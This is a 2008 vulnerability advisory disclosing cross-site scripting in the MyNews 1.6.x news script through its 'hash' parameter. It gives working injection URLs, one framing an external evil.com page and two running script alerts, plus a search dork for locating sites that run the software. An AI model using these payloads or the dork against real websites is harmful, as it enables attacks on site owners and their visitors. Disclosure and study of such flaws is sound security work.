MyNews version 1.6.x suffers from HTML and Javascript injection vulnerabilities allowing for cross site scripting attacks.
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I know its basic, but I am a supporter of FD and therefore
planetluc.com has to be
blamed now! I checked their script MyNews in version 1.6.4 today and
then some
other versions, all are vulnerable to HTML and JS injection.
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|| ADVISORY: MyNews 1.6.X HTML/JS Injection Vulnerability
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Author: SkyOut
Date: February 2008
Contact: skyout[-at-]smash-the-stack[-dot-]net
Website: https://www.smash-the-stack.net/
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2008-02-06: Bug found
2008-02-06: Advisory released
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The MyNews script by planetluc.com in all versions of the 1.6.X tree is
vulnerable to HTML and JS injection due to no sanitation of the "hash"
value in combination with the action "admin".
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No exploit is needed to test this vulnerability. You just need a working
web browser.
1: HTML Injection
To make a HTML injectioni, visit the websites main page. The name
might differ
from the original name "mynews.inc.php", mostly its called
"index.php". Now
construct a malformed URL as follows:
https://www.example.com/index.php?hash="><iframe src=https://
www.evil.com/ height=500px width=500px></iframe><!--&do=admin
Of course you can manipulate the values of "height" and "width" like you
want to. Do it the way it best fits to your needs!
2: JavaScript Injection
JS injection is similar to HTML injection, just that you put a JS code
in the "hash" parameter. Let me show you two examples:
https://www.example.com/index.php?hash="><script>alert(1337);</
script><!--&do=admin
or
https://www.example.com/index.php?hash="><script>alert("XSS");</
script><!--&do=admin
Sometimes using strings doesn't work, so test it first!
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intext:"powered by MyNews 1.6.*"
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- LOW - (1/3) -
<!> Happy Hacking <!>
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Sincerely,
SkyOut